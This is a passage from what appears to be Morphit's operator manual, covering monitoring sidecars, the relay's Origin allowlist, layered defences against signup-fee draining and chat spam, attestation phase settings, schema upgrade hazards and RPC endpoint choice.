`unit_restart_loop`	WARN	`NRestarts ≥ 10` (env-tunable) on a still-running unit
`unit_missing`	WARN	A unit named in `MORPHIT_SYSTEMD_WATCH` does not exist (config drift)
`systemctl_unavailable`	INFO	systemctl not in PATH

Setup:

# (Optional) tuning + extra units to watch.
sudo install -m 0644 -o root -g root /dev/stdin \
     /etc/morphit/systemd-monitor.env <<'ENV'
MORPHIT_SYSTEMD_RESTART_THRESHOLD=10
MORPHIT_SYSTEMD_WATCH="postgres@16-main.service docker.service"
ENV

sudo cp /opt/morphit/ops/systemd/morphit-systemd-monitor.service \
        /opt/morphit/ops/systemd/morphit-systemd-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-systemd-monitor.timer

Journal disk-usage monitor — `morphit-journald-monitor`

Daily check of journald's own disk usage + time span covered. Catches the "journal silently grew to 8 GB over six months" pattern: without SystemMaxUse= in /etc/systemd/journald.conf, the journal can fill the disk; operators usually find out only when the disk is full.

Events emitted:

Event	Tier	Trigger
`journal_size_critical`	CRITICAL	Journal disk usage > 4 GB
`journal_size_warn`	WARN	> 1 GB
`journal_rotation_stale`	WARN	Span > 90 days AND > 500 MB (config-drift indicator)
`journalctl_unavailable`	INFO	journalctl not in PATH

Setup:

sudo cp /opt/morphit/ops/systemd/morphit-journald-monitor.service \
        /opt/morphit/ops/systemd/morphit-journald-monitor.timer \
        /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-journald-monitor.timer

Recommended companion: set SystemMaxUse=1G (or your preferred cap) in /etc/systemd/journald.conf and sudo systemctl restart systemd-journald so the disk-usage ceiling is enforced.

Deploying all sidecars at once via Ansible

The repository ships an Ansible playbook at ops/ansible/ that wraps all the above into opt-in roles. Set enable_*: true for the sidecars you want in group_vars/all.yml, populate the vault_matrix_bot_access_token in group_vars/vault.yml if using Matrix, and:

cd /opt/morphit/ops/ansible
ansible-playbook -i inventory/hosts.yml playbook.yml --tags monitors

The monitors tag runs only the sidecar roles, leaving the rest of the deploy untouched — convenient for adding monitoring to an already-deployed instance.

17. Relay origin allowlist — protecting your instance from billing drift

The relay pays the ~100 BLURT account-creation fee on every account_create op it broadcasts. Without origin enforcement, any web page, curl invocation, or script anywhere on the internet can POST to your relay's /v1/account/create and you'll spend ~100 BLURT for it. Three concrete scenarios:

Community mirror misconfiguration. Another operator forks Morphit, forgets to update MORPHIT_RELAY_ORIGIN in their frontend build, and their users' signups hit your relay. You silently fund their community.
Hostile frontend. Someone deliberately runs a frontend that points at your relay to drain your funds.
curl spam. A signup-bot that doesn't care about browser CORS can POST directly.

The relay defends against all three with an origin allowlist — a server-side check on /v1/account/create that rejects any request whose Origin header isn't on your allowlist.

What goes in the allowlist?

The Origin header reflects where the browser loaded the page from — not where your backend services live. Your frontend's public URL is what the browser sends, regardless of whether the backend is on the same server, a different VPS, a CDN, or localhost. Two common topologies:

Colocated (one host, one public hostname — the recommended default). Your frontend, relay, and indexer all run on vps.example.com, fronted by nginx. Users browse to https://morphit.example.com/ and the browser sends Origin: https://morphit.example.com on POSTs to the relay at https://morphit.example.com/relay/v1/account/create. This is still a "same-origin POST" and browsers include the Origin header for POSTs even when same-origin.

In this topology — which is what the frontend defaults to (see §14 "Recommended single-hostname layout") — the relay and indexer do not need their own DNS entries. The frontend hits /relay/*, /v1/*, and /rss/* as relative paths on the same origin, and nginx reverse-proxies them to loopback. Your allowlist needs only the one public hostname:

MORPHIT_RELAY_ALLOWED_ORIGINS=https://morphit.example.com

Note: "localhost" does NOT appear as the Origin even though the nginx proxy internally forwards to 127.0.0.1:8080. The browser only sees the public URL. Use http://localhost:5173 only for local dev where you literally load the page from localhost.

Split (relay on separate subdomain). Your relay is on relay.morphit.example.com while the frontend is on morphit.example.com. This requires the frontend to be built with MORPHIT_RELAY_ORIGIN=https://relay.morphit.example.com overriding the default (see §14 "Split topology"). Users browse the frontend; browser sends Origin: https://morphit.example.com when POSTing to the relay on relay.morphit.example.com. This is a cross-origin POST. The allowlist entry is still the FRONTEND's origin, not the relay's:

MORPHIT_RELAY_ALLOWED_ORIGINS=https://morphit.example.com

Multiple frontends against one relay. If you run several mirrors (.onion, i2p, a .com) all pointing at the same relay, list them all:

MORPHIT_RELAY_ALLOWED_ORIGINS=https://morphit.example.com,http://abc123xyz.onion,http://b32addr.i2p

Configuration

Set the allowed origins in your relay systemd unit:

# Comma-separated list of exact-match origins (scheme + host +
# optional port, no path, no wildcards). Every frontend that
# should be allowed to create accounts via this relay goes here.
Environment="MORPHIT_RELAY_ALLOWED_ORIGINS=https://morphit.example.com,https://mirror.example.com"

The relay validates this at startup: an empty allowlist makes it refuse to start (it throws MORPHIT_RELAY_ALLOWED_ORIGINS must list at least one origin) rather than run wide open — a fail-closed default.

Reload + restart:

sudo systemctl daemon-reload
sudo systemctl restart morphit-relay.service

Matching rules (read carefully)

Exact match. https://morphit.example.com does NOT match https://www.morphit.example.com or https://morphit.example.com:8443. Add each variant explicitly if you serve the same frontend under multiple hostnames.
Scheme matters. http:// and https:// are distinct origins. Production instances should only list https://.
Port matters. If you serve on a non-default port, include it. For testing, http://localhost:5173 is the usual Vite dev-server origin.
No wildcards. The allowlist is a plain Set<string> and includes is exact.

Behavior

Request with Origin in the allowlist → proceeds normally.
Request with Origin present but not in the allowlist → 403 with { code: "origin_not_allowed" }.
Request with no Origin header at all → 403 with { code: "origin_required" }. Modern browsers always send Origin on cross-origin POSTs, so a missing header almost always means a non-browser client.

Read-only endpoints (/v1/account/availability, /v1/health) are NOT gated by the allowlist. Availability is expected to be called from curl by operators debugging; health is a liveness probe.

Reading the logs

Rejections are logged under module relay-origin, deduplicated per (code, origin) pair within a 5-minute window so a sustained curl-storm doesn't flood the journal. Grep for the module name when debugging:

sudo journalctl -u morphit-relay.service | grep '\[relay-origin\]'

Two log lines to expect:

rejected_disallowed_origin (WARN) — someone's browser sent an Origin you haven't listed. The log payload includes the rejected origin AND your configured allowlist so you can see the fix in one line. This is the signal that matters during setup or when moving to a new hostname.
rejected_missing_origin (INFO) — a request arrived with no Origin header. Almost always a non-browser client (curl, bot, or a custom script). Usually ignorable; frequent hits suggest someone is probing your endpoint.

What if legitimate users see origin_required?

First, check Origin is actually being sent by their browser. Ad-blockers and privacy extensions occasionally strip it, but that's rare on POST. If a user consistently can't sign up and reports that error, they're probably using an ancient browser or an aggressive privacy tool — the relay is correctly refusing to spend funds on an unverifiable request. Point them at a standard browser.

If your OWN users are getting origin_not_allowed, it means your frontend is serving from an origin you didn't list. Common causes:

You added a new hostname or moved to a CDN and forgot to add the new origin.
You're testing from http://localhost:5173 without adding it. Add it to MORPHIT_RELAY_ALLOWED_ORIGINS for the duration of testing; remove for production if localhost doesn't belong there.
Your production frontend is on https://example.com but the allowlist says https://www.example.com. Add both or redirect one canonically.

Limits of this defense

An attacker can still forge the Origin header with curl or a custom HTTP client. The allowlist raises the friction from "paste a URL into the browser" to "write a script that spoofs Origin," which is material for most classes of casual abuse — but it is NOT a rate-limit or a bot-defense. Your existing per-IP rate limiters (hourly + daily) do that job. The origin allowlist specifically closes the "other frontends billing my relay" gap, nothing more.

If you need cryptographic assurance that a request came from your own frontend, that requires a shared-secret scheme (frontend embeds a token at build time, relay validates the token). That's a larger design change not yet built.

The relay's /v1/account/create endpoint pays the ~100 BLURT account-creation fee inline (from @morphit-relay's liquid BLURT) to create each new Blurt account (see ADR-0010 §4, as amended), so each successful signup spends ~100 BLURT of your relay's balance. Without defenses, a third-party operator who forges the Origin header (server-side scripts can) could attribute THEIR users' registrations to YOUR relay, draining your relay's BLURT and forcing you to pause signups or keep topping up out-of-cycle (BLURT-expensive). The signup-drain defense is a layer cake; each layer is cheap, additive, and tunable. None alone is sufficient; together they make drains bounded, detectable fast, and reversible.

Layer 1: Kill-switch

Instant halt. When something goes wrong, flip this first.

# Default: true (signups enabled). Flip to false to halt ALL
# account creation immediately.
Environment="MORPHIT_RELAY_SIGNUP_ENABLED=false"

Reload + restart:

sudo systemctl daemon-reload
sudo systemctl restart morphit-relay.service

While SIGNUP_ENABLED=false, both /v1/account/invite and /v1/account/create return 503 with code: "signups_disabled". The frontend shows a "signups temporarily unavailable, please try another Morphit mirror" message.

Layer 2: Global daily ceiling

Hard cap on successful signups per UTC day. Bounds worst-case spend to ceiling signups per day; in BLURT terms that's ceiling × account_creation_fee BLURT at risk (where the fee is whatever the chain's account_creation_fee witness-parameter is at claim time, typically ~100 BLURT). Reset at UTC midnight.

# Default 50/day. Start conservative at launch — raise as you
# observe real traffic.
Environment="MORPHIT_RELAY_SIGNUP_DAILY_CEILING=50"

When the ceiling is hit, one structured log line fires (module signup-ceiling):

sudo journalctl -u morphit-relay.service | grep '\[signup-ceiling\]'

Expect ceiling_reached at level error. Further signups that day return code: "daily_ceiling_reached" with a resets_at timestamp so the frontend can tell the user when to try again.

When to raise: you're regularly hitting the ceiling during normal operation (not during attacks). Start at 50/day; at steady state, you want the ceiling to be 2× your observed peak legitimate day. Raising mid-attack is exactly wrong — the ceiling is your budget-backstop.

Layer 3: Per-IP spacing

Two mechanisms stack per IP address:

A hard daily cap (MORPHIT_RELAY_CREATE_RATE_PER_DAY, default 2).
A minimum gap between this IP's signups (MORPHIT_RELAY_CREATE_SPACING_MINUTES, default 60). Even if the IP has daily capacity left, a second signup within the gap is rejected.

Environment="MORPHIT_RELAY_CREATE_RATE_PER_DAY=2"
Environment="MORPHIT_RELAY_CREATE_SPACING_MINUTES=60"

Rejected with code: "spacing_cooldown" and a retry_after_minutes field. The frontend shows:

You recently created an account. Please wait N more minute(s) before creating another.

This layer targets the "family of four on one Wi-Fi" UX case: legitimate, allowed, but spaced out. It also defeats the "cheap VPS, one IP, 50 signups/day" variety of attacker.

Account creation is not a single request — it's two. First the client POSTs to /v1/account/invite. If the relay approves, it returns a short-lived HMAC-signed invite bound to the client's IP hash. The client then POSTs to /v1/account/create with the invite as part of the body. The relay verifies the signature, expiry, IP binding, and marks the invite used before broadcasting to the chain.

Why two steps:

The signing secret is server-only. An attacker who downloads the frontend bundle gets nothing.
The invite endpoint is where expensive checks live (rate limit + PoW). The create endpoint stays focused on signature verification + chain op.
Short TTL (10 min default) makes stockpiling impractical.
Single-use via in-memory nonce map prevents replay.

# Optional: persistent HMAC secret. If unset, the relay
# generates a random 32-byte secret at boot (ephemeral — invites
# in flight don't survive a restart, which is acceptable since
# TTL is only 10 min).
Environment="MORPHIT_RELAY_INVITE_HMAC_SECRET=your-32-byte-random-secret"

Most operators should leave the secret unset. The ephemeral default is safe and avoids the "secret file on disk" problem.

Layer 5: Altcha proof-of-work (3rd attempt per IP per day)

Altcha is self-hosted client-side PoW. The browser runs ~1-2 seconds of SHA-256 work in a Web Worker before the invite is granted. No Cloudflare, no third-party calls, no tracking.

Triggered on the 3rd+ invite request per IP per UTC day. The first two attempts are frictionless. Normal users never see Altcha unless they're retrying a lot after failures.

# 3 = altcha fires on the 3rd attempt. Lower = more friction
# for legit retry-after-failure users; higher = less defense
# against attackers who bypass per-IP limits.
Environment="MORPHIT_RELAY_ALTCHA_TRIGGER_COUNT=3"

# PoW difficulty. Default 2_000_000 → ~1s on a modern phone.
# Old Android on slow CPUs: ~2-3s.
Environment="MORPHIT_RELAY_ALTCHA_MAXNUMBER=2000000"

# Optional persistent HMAC secret, same semantics as invite.
Environment="MORPHIT_RELAY_ALTCHA_HMAC_SECRET=your-32-byte-random-secret"

The Altcha solver is lazy-loaded on the frontend: only users who hit the 3rd attempt download the PoW code. All other users pay zero bandwidth for this layer.

Frontend UX during solving:

Verifying you're human… → Verified ✓ → Claiming…

Layer 6: Anomaly-aware LOW_BALANCE alerts

Ties it all together. When the indexer's operator-balance scanner fires a LOW_BALANCE alert on the relay account, it probes the relay's /v1/health?verbose=1 for current signup stats and decides whether to append a kill-switch recommendation.

Wire the probe in the indexer's env:

# Indexer systemd unit: URL to the relay's health endpoint.
# For colocated deployments (relay on same host as indexer),
# this hits loopback — no public exposure needed.
Environment="MORPHIT_INDEXER_RELAY_HEALTH_URL=http://127.0.0.1:8080/v1/health?verbose=1"

With the probe wired, a LOW_BALANCE alert payload gains a signup_anomaly sub-object. Two anomaly conditions recommend the kill-switch:

Current UTC hour's signup count ≥ 1/3 of the daily ceiling (rate would exhaust capacity in under 3 hours).
Current hour ≥ 2× today's peak hour AND ≥ 5 signups (spike relative to the day's normal).

When either triggers, the alert includes the recommendation text:

"Consider setting MORPHIT_RELAY_SIGNUP_ENABLED=false while you investigate."

If neither triggers, the alert reports normal volume.

Layer 7: High-value name policy

The first six layers bound the COUNT of signups an attacker can extract. Layer 7 reduces the VALUE of each signup to the attacker by refusing to register names that look like obvious squatter targets. A determined attacker who exhausts the daily ceiling now walks away with names like usr-noob-2026 or bobtrades — names with low resale value — instead of bitcoin, nike, or acct001.

Six categories are recognized (in priority order):

short_name — name length ≤ threshold (default 4). Short names on Graphene-lineage chains are status symbols and sell for $50-$500 on secondary markets.
all_numeric — letter prefix followed entirely by digits and dashes (e.g., a000000). Pure enumeration value, no real-user appeal.
dictionary_brand — exact match against a curated list of ~100 well-known brand and crypto names (apple, google, bitcoin, nike, binance, etc.). Brands defensively buy these; squatters know it.
leet_brand — l33t-substituted brand (m0nero, b1tcoin). De-leet table: 0→o, 1→i, 3→e, 4→a, 5→s, 7→t, @→a. Catches the lowest-effort obfuscation; not exhaustive.
common_dictionary — common English words with resale value (money, wallet, news, media, premium). Conservative list — focuses on nouns with clear identity- marketing value.
numeric_suffix — short prefix (≤4 chars) followed by EXACTLY 3 digits (usr001, bob-001, acct999). Enumerator signature. Intentionally narrow — 4-digit suffixes are year-suffix forms (bob-1990, crypto-noob-2026) which are legitimate user names; the cross-signup detector (Layer 8) catches actual enumeration patterns instead.

Configuration:

# strict (default) — block all six categories
# moderate — block only enumeration patterns (numeric / numeric_suffix);
#            allow brand/dictionary names through (only pick this if
#            you've decided your other defenses make brand-squatting
#            unprofitable)
# off — disable Layer 7 entirely (NOT recommended)
Environment="MORPHIT_RELAY_HIGHVALUE_NAME_POLICY=strict"

# Names this length or shorter trip the short_name category.
# Default 4 — blocks 3- and 4-char names.  Lower to 3 to allow
# 4-char.  Lower to 2 to disable short-name (still keeps brand/
# dictionary detection).
Environment="MORPHIT_RELAY_HIGHVALUE_SHORT_NAME_THRESHOLD=4"

When Layer 7 fires, the relay logs a structured highvalue_name_rejected event with name, classification, policy fields. The user receives 400 name_high_value with the localized error message:

"That name is reserved for legitimate-claim review. Try a longer or more personal name. If you have a legitimate claim to this exact name, contact the operator."

Honest limits. Layer 7 catches obvious squatter targets; it doesn't (and shouldn't) catch every valuable name. A novel phrase, a niche meme, or a legitimate but generic name that isn't on the dictionary list will still pass. Operators periodically reviewing recent registrations may want to add to RESERVED_NAMES (in apps/relay/src/policy/name.ts) when they spot patterns. False positives are also possible — a real user named nike who uses Blurt would be rejected by Layer 7. For those, the legitimate path is to direct-broadcast their account creation to the chain (not via the relay), or to contact an operator with a moderate policy.

Layer 7 examines a single name in isolation. Layer 8 watches for ENUMERATION patterns ACROSS recent successful signups within the same /24 (IPv4) or /64 (IPv6) bucket. A pattern of account001, account002, account003 from the same bucket is the signature of an automated drainer; Layer 8 refuses the 3rd one even though Layer 7 lets each individual name pass on shape alone (long prefix).

Three patterns are detected:

sequential_numeric_suffix — same prefix, differing numeric suffix (acct001, acct002, ...).
sequential_alpha_suffix — same prefix, differing single-letter suffix (accta, acctb, acctc).
sequential_close_similarity — same long prefix even when the tail isn't strictly numeric/alpha (userfoo01, userfoo02).

State is in-memory, per-bucket, with a rolling window. A relay restart resets the state — acceptable, since an attacker mid-restart loses their accumulated history too.

Configuration:

# Enable / disable Layer 8 entirely.  Default true.  Set false
# only if you run a service that legitimately creates batched
# accounts.
Environment="MORPHIT_RELAY_SEQUENTIAL_DETECTOR_ENABLED=true"

# Rolling window in milliseconds.  Default 1 hour.  An attacker
# who paces signups beyond the window bypasses Layer 8 (but is
# still bounded by global daily ceiling, per-IP spacing, and
# Altcha PoW).
Environment="MORPHIT_RELAY_SEQUENTIAL_WINDOW_MS=3600000"

# Number of prior matching signups before the next is rejected.
# Default 2 — meaning the 3rd sequential signup is the one
# blocked.  Higher = more permissive (allows operators who
# legitimately batch-create some accounts to do so before
# hitting the limit).
Environment="MORPHIT_RELAY_SEQUENTIAL_THRESHOLD=2"

# Minimum prefix length for the close-similarity check.  Names
# sharing fewer characters than this aren't considered similar.
# Default 3.
Environment="MORPHIT_RELAY_SEQUENTIAL_MIN_PREFIX=3"

When Layer 8 fires, the relay logs a structured sequential_pattern_rejected event with name, bucketKey, reason, and matched (the prior names that triggered the pattern). The user receives 429 name_sequential_pattern:

"Recent account creations from your network have followed a sequential pattern that suggests automation. Try a name that doesn't share a prefix with recent signups, or wait an hour and retry."

Honest limits. Per-bucket isolation means an attacker who controls multiple /24 ranges (a residential-proxy pool with diverse upstream) can sustain enumeration — but each bucket only allows threshold matching signups before being cut off. At default settings (threshold=2, window=1h, daily ceiling=50), defeating Layer 8 requires ~25 distinct /24 buckets per day just to fully consume the ceiling — well within reach for a serious attacker but a meaningful capital cost. False positives can occur for legitimate batch workflows (e.g., a company onboarding several staff accounts simultaneously); those operators can tune the threshold up or temporarily disable.

Tuning playbook during a suspected attack

Flip the kill-switch. MORPHIT_RELAY_SIGNUP_ENABLED=false and restart. This stops the bleeding immediately with zero risk.
Check the anomaly alert. Was signup volume actually abnormal? If yes, you're under attack. If no, the low-balance alert was organic — top up and re-enable.
Examine recent signups. blocks.blurtwallet.com → your relay account → recent account_create ops. Look for similar naming patterns, sequential creation times, no follow-up on-chain activity after creation. Those are attacker signatures.
Inspect Layer 7 + 8 rejection logs. Search the relay's structured logs for highvalue_name_rejected and sequential_pattern_rejected events. Their volume tells you what the attacker is TRYING to register; their bucketKey field tells you which /24s are involved. If you see thousands of such events from a single /16, you have intelligence the attacker can't see.
Lower the ceiling if you decide to re-enable but want tighter guardrails: MORPHIT_RELAY_SIGNUP_DAILY_CEILING=20 (or whatever feels safe).
Lower the altcha trigger count to 2 if you think the attacker is using 2 invites per IP to stay under the PoW gate.
Tighten Layer 7 + 8 if you've been running on moderate policy. Switch MORPHIT_RELAY_HIGHVALUE_NAME_POLICY=strict if it isn't already. Lower the sequential threshold to 1 (MORPHIT_RELAY_SEQUENTIAL_THRESHOLD=1) so the SECOND sequential signup is the one blocked, not the third.
Re-enable. MORPHIT_RELAY_SIGNUP_ENABLED=true, restart.
Watch for 24-48h. Anomaly alerts will tell you if the attacker is still at it.

Honest limits of this defense

A determined attacker with a large residential-proxy pool AND the willingness to solve PoW challenges at scale can still drain up to the daily ceiling. What you DON'T have:

Unlimited signups: ceiling caps it.
Zero-friction drain: per-IP + Altcha forces cost.
Undetected drain: the anomaly detector raises the flag.
Unstoppable drain: the kill-switch is one env var flip away.
Squatter-resellable names: Layer 7 + 8 mean an attacker who DOES drain the ceiling walks away with names that have little resale value (long-prefix non-brand names that weren't in any sequential pattern).

What you DO have is exposure capped at (ceiling × fee) per day. At 50/day × ~$0.20/fee that's a $10/day maximum financial loss for an attacker who fully defeats every layer.

The economic argument before Layers 7 + 8 was "an attacker might burn $10/day to acquire $X in resaleable names + the satisfaction of the disruption." With Layers 7 + 8 in place, the resaleable-names component drops sharply because the attacker cannot get short, brand, or sequential names at all. This shifts the attacker's cost-benefit: they're paying $10/day for low-value names, against an operator whose response bandwidth (kill-switch flip, ceiling adjustment) is ~30 seconds. The attack becomes uneconomic for any motive other than pure disruption.

For a stronger defense requiring cryptographic assurance (not just friction + detection), you'd need a shared-secret scheme where the frontend embeds a server-issued token at build time and the relay validates it. That's future work; the current stack gets you "cannot be catastrophically harmed," which is the operational target.

19. Chat anti-spam (Finding H) — operational reference

The chat handler enforces a three-layer defense against unsolicited message floods. Each layer is a runtime gate that doesn't require operator intervention; this section exists so you can diagnose user reports like "why was my message rejected" or "why does this person need to pay to message me."

Layer 1 — block list. A user blocks another via a morphit_block_v1 custom_json op. The blocks table records the (blocker, blocked) pair. The chat handler rejects recipient_blocked_sender before the INSERT. Blocks are public on-chain (anyone scraping Blurt sees them) but the UI never surfaces "you are blocked by @X" to the blocked party — that would turn a defensive signal into a provocation.

Layer 2 — stranger-fee admission. First-contact messages between two accounts that have never exchanged require either (a) a prior admitted message in either direction, (b) a paid morphit_stranger_fee_v1 op carrying a BLURT transfer to @morphit-fees with memo binding morphit-stranger:<recipient>. The memo binding prevents a single paid transfer from admitting conversations with multiple peers. The base fee is 5 BLURT (~$0.01 at current BLURT prices), and it escalates by doubling for rapid repeat stranger-messaging: 1× for the first stranger fee inside a rolling 5-minute window, 2× for the second, 4× for the third, … capping at 128× (640 BLURT) from the 8th onward. A single genuine first-contact stays cheap; a burst of unsolicited first-contacts to many peers gets expensive fast. The BLURT base and the doubling schedule are fixed in indexer code — operators cannot configure them (this is intentional: a lax operator lowering the fee would undercut the anti-spam economics across the whole ecosystem).

Layer 3 — rate limits. Two caps on "recipient has not yet replied" conversations: fan-in (≤20 unique never- replied senders per recipient per rolling 24h) and per-pair no-reply cap (≤50 messages from one sender to a non-replying recipient, ever). A single reply from the recipient lifts both caps for the pair forever.

Layer order. Block check runs first (blocked senders shouldn't push legit toward the fan-in cap), then admission, then rate limits. A blocked sender's stranger- fee payment is still accepted by the stranger_fees handler (fees and admission are decoupled for auditability), but their chat messages still won't reach the recipient.

Diagnosing support tickets. If a user says "my message was rejected":

Query blocks — has anyone blocked this sender-recipient pair?
Query chat_messages — is there prior exchange between them? If no, does stranger_fees have a row for (sender, recipient)?
Check the conversation message count for the sender's 24h fan-in and per-pair accumulation.

None of these are operator-adjustable — the gates are protocol-level. If a user is legitimately stuck, direct them to (a) unblock if blocked, (b) pay the stranger fee if first contact, (c) wait for the recipient to reply to lift the rate caps.

Chat head-block fast path (sub-6s delivery) — ADR-0048

New chat messages appear in an open conversation within a few seconds instead of waiting ~45–60s for Blurt's last-irreversible block. A separate scanner tails the chain HEAD and streams new chat messages over SSE; the normal poller (which only applies irreversible blocks) is unchanged and stays the sole source of truth for chat history and everything else.

Always on — there is no off switch (v1.7.0, ADR-0051). The scanner never writes the database, so the worst a broken fast path can do is fail to make things fast; there is nothing to protect you from, and nobody prefers slow. The old MORPHIT_INDEXER_CHAT_FASTPATH_ENABLED was removed, not renamed — if it is still in your env file it is now inert and can be deleted.

One knob remains, in ops/env/indexer.env:

MORPHIT_INDEXER_FASTPATH_INTERVAL_MS=2000 # default 2000

Raise it to reduce head-poll traffic on a straining node; lower it for tighter latency.

It never writes the database — read-only (block feed + a block-list lookup) plus in-process SSE. A crash in it cannot affect the durable poller or your data.
It is chat-only and enforces the block list (a blocked sender's message is never streamed, failing closed on any DB error). It does not re-run the stranger-fee / rate-limit gates — the durable pass still enforces those for stored history, so a stranger's message can flash up live for a few seconds before it fails to persist. That is bounded and intentional; the block list, the one gate whose bypass would matter, is always enforced.
If a head block is later orphaned by a fork, a message shown live simply never lands in durable history. Fine for chat; this is exactly why orders and fees are not on this path.
Extra RPC: roughly one head-poll per interval (~30/min at 2s) plus a block fetch per new block (~20/min) — about a 2× increase in block-feed calls. Raise the interval to reduce load, lower it for tighter latency.

No off switch. Fast chat can't be disabled — the old ..._ENABLED flag was removed in v1.7.0 (ADR-0051). The one knob is MORPHIT_INDEXER_FASTPATH_INTERVAL_MS above: raise it to shed head-poll RPC load, lower it for tighter latency. (The scanner never writes the DB, so there's nothing to protect against by turning it off — a broken fast path can only fail to make things fast.)

Checking status. The simplest check is the node-health view — morphit-ops health (main menu item #13) — which shows a Fast path: line right below the price feeds: keeping up @ head block N (M delivered) (or — K block(s) behind head) when it's live and current, lagging — K blocks behind head if it has fallen behind, tailing — head not established yet just after a restart, or status unavailable (older indexer build) against a pre-fast-path indexer. There is no "off" state — it's always on. Under the hood that comes from an operator-only top-level fastpath block on /v1/health ({running, scannedHead, emitted, lastError, lastErrorAt} — renamed from chat_fastpath, and the enabled field dropped, in v1.7.0), gated on the same X-Morphit-Local-Health header the public edge strips — the same gate as the per-source price_feeds block, so a public caller can't see it. (It is deliberately NOT in the ?verbose=1 diagnostics block, so the node-health view — which doesn't pass verbose=1 — always sees it.)

Upgrade note. Fast chat is on for every instance (no off switch since v1.7.0), so a normal morphit-ops upgrade carries it forward automatically — confirm afterward with the Fast path: line in morphit-ops health. The matching client-side dedupe ships in the same release, so both halves deploy together — no partial-deploy window. A browser tab still on a pre-upgrade frontend could briefly show a message twice until it reloads; harmless and self-healing.

20. Attestation phase transition (Finding I)

Finding I mitigates a sybil-attack path on BTC/XMR fee attestation by requiring each attestor to meet loyalty (≥100 BLURT cumulative fees paid) or age (≥30 days on Blurt chain) thresholds. The gate runs in two phases controlled by the MORPHIT_INDEXER_ATTESTATION_PHASE env var.

Default is 'launch' (OR gate). An attestor qualifies by meeting either loyalty OR age. This is the ecosystem-bootstrap mode: a lower bar for early adopters that still blocks same-day-farmed sock accounts — each would need to accumulate ≥100 BLURT in paid fees OR wait a month.

Transition to 'steady' (AND gate). Attestor must meet both loyalty AND age. Makes sustained sybil abuse negative-ROI — an attacker must wait 30 days AND accumulate ≥100 BLURT of paid fees for every sock puppet, a real time-and-capital cost per identity that makes a self-attestation farm uneconomic.

When to flip

Whichever comes first of:

90 days after the ADR-0011 activation (the calendar trigger guarantees migration eventually happens regardless of traffic).
500 accounts on the chain that already meet BOTH gates (the traffic trigger lets us migrate sooner if the ecosystem grows faster than the calendar).

How to check if the traffic trigger is met

psql "$MORPHIT_INDEXER_DATABASE_URL" <<'SQL'
SELECT COUNT(*) AS eligible_for_steady
  FROM accounts a
  LEFT JOIN account_loyalty al ON al.account = a.name
 WHERE a.created_block_time <= NOW() - INTERVAL '30 days'
   AND COALESCE(al.cumulative_blurt_paid, 0) >= 100;
SQL

If the result is ≥500, the traffic trigger is met.

How to flip

Update the indexer's environment:

# systemd example:
sudo systemctl edit morphit-indexer.service
# Set:
#   Environment=MORPHIT_INDEXER_ATTESTATION_PHASE=steady
sudo systemctl restart morphit-indexer.service

Or in a docker-compose deployment, update the environment block and restart the container. No redeploy required — just an env var flip + process restart.

Verifying the flip landed

# After restart, verify the new phase is active by
# checking a known-ineligible account's eligibility response
# and confirming the AND gate fires:
curl -s "http://localhost:PORT/v1/attestor-eligibility/<account>" | jq .phase
# Should report "steady"

Don't flip before the trigger fires

Flipping prematurely locks legitimate early attestors out of the feeAttest handler (returning attestor_young_account or attestor_insufficient_loyalty) and prevents any BTC/XMR orders from reaching verified_by_attestation. The whole attestation path stalls. Wait for the trigger.

Don't refuse to flip after the trigger fires

Leaving launch permanently means the AND gate never activates, and any patient attacker can still sybil-attest their own orders with two ≥30-day-old accounts. The OR gate is a bootstrap mode, not a permanent posture.

20b. Schema v39 upgrade note — chat read-state is re-keyed, and the indexer cannot be rolled back over it

morphit-ops upgrade applies this automatically at indexer start-up; there is nothing for you to run by hand and no new environment variable.

What it does. chat_read_state gains an order_permlink column and its primary key becomes (reader_account, peer_account, order_permlink). Chat read receipts are now per discussion — one per (peer, order) — rather than one per peer, so reading one conversation with someone no longer marks every other conversation with that same person as read.

Existing rows are safe. Every row written before this migration was, by definition, an acknowledgement covering the whole peer, so the column's DEFAULT '*' backfills them with exactly that meaning. Nobody's inbox lights up unread on upgrade day.

Table size. One row per (reader, peer) — small. The ADD PRIMARY KEY rebuilds that index while holding an ACCESS EXCLUSIVE lock on the table. On any realistic instance this is well under a second, and only chat read receipts touch the table.

⚠ DOWNGRADE HAZARD

An indexer older than v39 writes read receipts with ON CONFLICT (reader_account, peer_account). That constraint no longer exists after this migration, and Postgres will reject the statement with "no unique or exclusion constraint matching the ON CONFLICT specification".

Rolling the indexer back to a pre-v39 build after this migration has run will break chat read receipts until you roll forward again. Nothing else is affected: messages, orders, and the orderbook are untouched. If you must roll back and stay there, restore the database from the backup taken before the upgrade.

21. Schema v17 upgrade note — brief orderbook sequential-scan window

When deploying an indexer build that includes schema-v17, the migration runs a DROP INDEX + CREATE INDEX on the orders_verified_live_idx → orders_live_established_idx replacement. Postgres partial-index predicates are immutable, so this is the only way to widen the filter to include verified_by_attestation.

Expected behavior: the migration runs inside a transaction. For the few seconds between DROP and CREATE, orderbook queries fall back to a sequential scan. Not using CREATE INDEX CONCURRENTLY because the migration system wraps each migration in a transaction for atomicity — CONCURRENTLY can't run inside a transaction.

At Morphit's scale (indexer-sized, not exchange-scale) the recreate completes in seconds. Operators running unusually large orders tables (e.g. after months of accumulation without VACUUM) should be aware that they'll see a brief write lock + a few-second orderbook latency spike during the deploy window.

If the migration takes long enough to matter, the workaround is to run the equivalent SQL manually with CREATE INDEX CONCURRENTLY BEFORE starting the indexer with the new code, then comment out the v17 migration registration in migrations.ts for that deploy only. This is an expert-operator escape hatch; most deploys don't need it.

22. Choosing Blurt RPC endpoints

Morphit components call Blurt RPC endpoints in three places:

Component	Purpose	Config
Frontend	User signs + queries from their browser	`DEFAULT_RPC_ENDPOINTS` in `apps/web/src/lib/net/config.ts`, overridable in Settings per-user
Relay	Broadcasts user-signed ops, pays per-op BLURT fees	`MORPHIT_RELAY_BLURT_RPC` env var (comma-separated)
Indexer	Follows the block stream	(indexer's own env, see ADR-0010 deployment notes)

Each component has its own rotation logic (latency-based pick with cooldown on failure). The default lists are seeded from witnesses who were reliably serving a public RPC endpoint at Morphit launch time.

When to revisit your endpoint list

A witness retires their public RPC (node goes offline permanently).
A new high-quality RPC node becomes available in your region (latency win).
Your relay's logs show one endpoint consistently timing out despite being up from your monitoring perspective (e.g. the endpoint has started geo-filtering or CGNAT-filtering).
After a Blurt network upgrade — older nodes may lag in shipping the new version and return stale data.

How to update your indexer's RPC list

